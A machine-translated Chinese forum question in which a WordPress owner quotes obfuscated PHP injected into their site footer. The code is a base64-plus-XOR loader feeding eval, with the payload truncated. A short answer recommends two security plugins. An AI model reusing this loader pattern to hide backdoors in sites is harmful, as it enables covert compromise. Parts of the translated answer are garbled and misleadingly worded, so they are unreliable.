Wordpress php注入攻击

Question

我的wordpress安装已经受到攻击，黑客已经向我的页脚注入了php代码。

以下是代码：

<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?><?php
$encoded = "ch0KCh...";
$raw = base64_decode($encoded);
$res = '';
for ($i = 0; $i < strlen($raw); $i++) {
    $res .= chr(ord($raw[$i]) ^ ord('x'));
}
eval($res)
?>
<?php /* uqjsQSyWVhmOHAEVa1i6 */ ?>

我想知道预防这种注射的办法吗？我正在运行wordpress的最新版本。

Answer 1

帮助破解Wordpres站点的插件

• NinjaScanner :检查文件的完整性
• iThemes安全:有一个“布鲁特部队保护”选项